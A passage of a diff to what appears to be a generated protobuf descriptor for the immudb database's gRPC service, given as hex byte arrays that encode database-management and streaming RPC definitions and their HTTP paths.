0x6e, 0x3a, 0x01, 0x2a, 0x12, 0x5b, 0x0a, 0x0e, 0x43, 0x72, 0x65, 0x61, 0x74, + 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, - 0x73, 0x65, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x56, 0x32, 0x1a, - 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x73, 0x70, - 0x6f, 0x6e, 0x73, 0x65, 0x56, 0x32, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x10, 0x22, 0x0b, - 0x2f, 0x64, 0x62, 0x2f, 0x6c, 0x69, 0x73, 0x74, 0x2f, 0x76, 0x32, 0x3a, 0x01, 0x2a, 0x12, 0x67, - 0x0a, 0x0b, 0x55, 0x73, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x17, 0x2e, + 0x73, 0x65, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, + 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x18, 0x88, 0x02, 0x01, 0x82, + 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x22, 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x63, 0x72, 0x65, 0x61, 0x74, + 0x65, 0x3a, 0x01, 0x2a, 0x12, 0x6b, 0x0a, 0x12, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x44, 0x61, + 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x57, 0x69, 0x74, 0x68, 0x12, 0x1f, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, + 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x1a, 0x16, 0x2e, 0x67, 0x6f, + 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, + 0x70, 0x74, 0x79, 0x22, 0x1c, 0x88, 0x02, 0x01, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x13, 0x22, 0x0e, + 0x2f, 0x64, 0x62, 0x2f, 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, 0x77, 0x69, 0x74, 0x68, 0x3a, 0x01, + 0x2a, 0x12, 0x79, 0x0a, 0x10, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, + 0x61, 0x73, 0x65, 0x56, 0x32, 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, + 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x25, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x72, 0x65, 0x61, + 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, + 0x73, 0x65, 0x22, 0x18, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x12, 0x22, 0x0d, 0x2f, 0x64, 0x62, 0x2f, + 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, 0x2f, 0x76, 0x32, 0x3a, 0x01, 0x2a, 0x12, 0x6c, 0x0a, 0x0c, + 0x4c, 0x6f, 0x61, 0x64, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x22, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4c, 0x6f, 0x61, + 0x64, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x1a, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x4c, 0x6f, 0x61, 0x64, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, + 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x13, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0d, 0x22, 0x08, 0x2f, + 0x64, 0x62, 0x2f, 0x6c, 0x6f, 0x61, 0x64, 0x3a, 0x01, 0x2a, 0x12, 0x74, 0x0a, 0x0e, 0x55, 0x6e, + 0x6c, 0x6f, 0x61, 0x64, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x24, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x55, 0x6e, 0x6c, + 0x6f, 0x61, 0x64, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x1a, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x55, 0x6e, 0x6c, 0x6f, 0x61, 0x64, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, + 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x15, 0x82, 0xd3, 0xe4, 0x93, 0x02, + 0x0f, 0x22, 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x75, 0x6e, 0x6c, 0x6f, 0x61, 0x64, 0x3a, 0x01, 0x2a, + 0x12, 0x74, 0x0a, 0x0e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, + 0x73, 0x65, 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, + 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x44, + 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, + 0x15, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x22, 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x64, 0x65, 0x6c, + 0x65, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x12, 0x63, 0x0a, 0x0c, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, + 0x73, 0x65, 0x4c, 0x69, 0x73, 0x74, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, + 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x23, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, + 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, + 0x6e, 0x73, 0x65, 0x22, 0x16, 0x88, 0x02, 0x01, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0d, 0x22, 0x08, + 0x2f, 0x64, 0x62, 0x2f, 0x6c, 0x69, 0x73, 0x74, 0x3a, 0x01, 0x2a, 0x12, 0x75, 0x0a, 0x0e, 0x44, + 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4c, 0x69, 0x73, 0x74, 0x56, 0x32, 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, - 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x1a, 0x1f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x55, 0x73, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, - 0x73, 0x65, 0x52, 0x65, 0x70, 0x6c, 0x79, 0x22, 0x1e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x12, - 0x16, 0x2f, 0x64, 0x62, 0x2f, 0x75, 0x73, 0x65, 0x2f, 0x7b, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, - 0x73, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x7d, 0x12, 0x63, 0x0a, 0x0e, 0x55, 0x70, 0x64, 0x61, 0x74, - 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x1f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, - 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, - 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, - 0x74, 0x79, 0x22, 0x18, 0x88, 0x02, 0x01, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x22, 0x0a, 0x2f, - 0x64, 0x62, 0x2f, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x12, 0x79, 0x0a, 0x10, - 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x56, 0x32, - 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, - 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, - 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x18, 0x82, - 0xd3, 0xe4, 0x93, 0x02, 0x12, 0x22, 0x0d, 0x2f, 0x64, 0x62, 0x2f, 0x75, 0x70, 0x64, 0x61, 0x74, - 0x65, 0x2f, 0x76, 0x32, 0x3a, 0x01, 0x2a, 0x12, 0x6a, 0x0a, 0x13, 0x47, 0x65, 0x74, 0x44, 0x61, - 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x16, - 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, - 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, - 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x22, 0x1a, 0x88, 0x02, 0x01, 0x82, 0xd3, 0xe4, 0x93, - 0x02, 0x11, 0x22, 0x0c, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, - 0x3a, 0x01, 0x2a, 0x12, 0x84, 0x01, 0x0a, 0x15, 0x47, 0x65, 0x74, 0x44, 0x61, 0x74, 0x61, 0x62, - 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x56, 0x32, 0x12, 0x26, 0x2e, + 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x74, 0x56, 0x32, 0x1a, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4c, 0x69, 0x73, 0x74, + 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x56, 0x32, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, + 0x02, 0x10, 0x22, 0x0b, 0x2f, 0x64, 0x62, 0x2f, 0x6c, 0x69, 0x73, 0x74, 0x2f, 0x76, 0x32, 0x3a, + 0x01, 0x2a, 0x12, 0x67, 0x0a, 0x0b, 0x55, 0x73, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, + 0x65, 0x12, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x1a, 0x1f, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x55, 0x73, 0x65, 0x44, 0x61, + 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x70, 0x6c, 0x79, 0x22, 0x1e, 0x82, 0xd3, 0xe4, + 0x93, 0x02, 0x18, 0x12, 0x16, 0x2f, 0x64, 0x62, 0x2f, 0x75, 0x73, 0x65, 0x2f, 0x7b, 0x64, 0x61, + 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x7d, 0x12, 0x63, 0x0a, 0x0e, 0x55, + 0x70, 0x64, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x1f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, - 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x65, - 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x27, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, - 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x1a, - 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x14, 0x22, 0x0f, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x65, 0x74, 0x74, - 0x69, 0x6e, 0x67, 0x73, 0x2f, 0x76, 0x32, 0x3a, 0x01, 0x2a, 0x12, 0x69, 0x0a, 0x0a, 0x46, 0x6c, - 0x75, 0x73, 0x68, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x12, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x46, 0x6c, 0x75, 0x73, 0x68, 0x49, 0x6e, - 0x64, 0x65, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x21, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x46, 0x6c, 0x75, 0x73, 0x68, - 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x16, 0x82, - 0xd3, 0xe4, 0x93, 0x02, 0x10, 0x12, 0x0e, 0x2f, 0x64, 0x62, 0x2f, 0x66, 0x6c, 0x75, 0x73, 0x68, - 0x69, 0x6e, 0x64, 0x65, 0x78, 0x12, 0x58, 0x0a, 0x0c, 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x63, 0x74, - 0x49, 0x6e, 0x64, 0x65, 0x78, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, - 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x16, 0x2e, - 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, - 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x18, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x12, 0x12, 0x10, 0x2f, - 0x64, 0x62, 0x2f, 0x63, 0x6f, 0x6d, 0x70, 0x61, 0x63, 0x74, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x12, - 0x40, 0x0a, 0x09, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x47, 0x65, 0x74, 0x12, 0x19, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x65, 0x79, - 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x30, - 0x01, 0x12, 0x3e, 0x0a, 0x09, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x53, 0x65, 0x74, 0x12, 0x14, + 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x1a, 0x16, + 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, + 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x18, 0x88, 0x02, 0x01, 0x82, 0xd3, 0xe4, 0x93, 0x02, + 0x0f, 0x22, 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x3a, 0x01, 0x2a, + 0x12, 0x79, 0x0a, 0x10, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, + 0x73, 0x65, 0x56, 0x32, 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, + 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x25, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x55, 0x70, 0x64, 0x61, 0x74, + 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, + 0x65, 0x22, 0x18, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x12, 0x22, 0x0d, 0x2f, 0x64, 0x62, 0x2f, 0x75, + 0x70, 0x64, 0x61, 0x74, 0x65, 0x2f, 0x76, 0x32, 0x3a, 0x01, 0x2a, 0x12, 0x6a, 0x0a, 0x13, 0x47, + 0x65, 0x74, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, + 0x67, 0x73, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, + 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1f, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, + 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x22, 0x1a, 0x88, 0x02, 0x01, + 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x11, 0x22, 0x0c, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x65, 0x74, 0x74, + 0x69, 0x6e, 0x67, 0x73, 0x3a, 0x01, 0x2a, 0x12, 0x84, 0x01, 0x0a, 0x15, 0x47, 0x65, 0x74, 0x44, + 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x56, + 0x32, 0x12, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, + 0x67, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x27, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, + 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, + 0x73, 0x65, 0x22, 0x1a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x14, 0x22, 0x0f, 0x2f, 0x64, 0x62, 0x2f, + 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x2f, 0x76, 0x32, 0x3a, 0x01, 0x2a, 0x12, 0x69, + 0x0a, 0x0a, 0x46, 0x6c, 0x75, 0x73, 0x68, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x12, 0x20, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x46, 0x6c, 0x75, + 0x73, 0x68, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x21, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x46, + 0x6c, 0x75, 0x73, 0x68, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, + 0x65, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x10, 0x12, 0x0e, 0x2f, 0x64, 0x62, 0x2f, 0x66, + 0x6c, 0x75, 0x73, 0x68, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x12, 0x58, 0x0a, 0x0c, 0x43, 0x6f, 0x6d, + 0x70, 0x61, 0x63, 0x74, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, + 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, + 0x79, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, + 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x18, 0x82, 0xd3, 0xe4, 0x93, 0x02, + 0x12, 0x12, 0x10, 0x2f, 0x64, 0x62, 0x2f, 0x63, 0x6f, 0x6d, 0x70, 0x61, 0x63, 0x74, 0x69, 0x6e, + 0x64, 0x65, 0x78, 0x12, 0x40, 0x0a, 0x09, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x47, 0x65, 0x74, + 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x4b, 0x65, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, + 0x6b, 0x22, 0x00, 0x30, 0x01, 0x12, 0x3e, 0x0a, 0x09, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x53, + 0x65, 0x74, 0x12, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, + 0x72, 0x22, 0x00, 0x28, 0x01, 0x12, 0x54, 0x0a, 0x13, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x56, + 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x47, 0x65, 0x74, 0x12, 0x23, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, + 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x30, 0x01, 0x12, 0x4c, 0x0a, 0x13, 0x73, + 0x74, 0x72, 0x65, 0x61, 0x6d, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, + 0x65, 0x74, 0x12, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x43, 0x68, 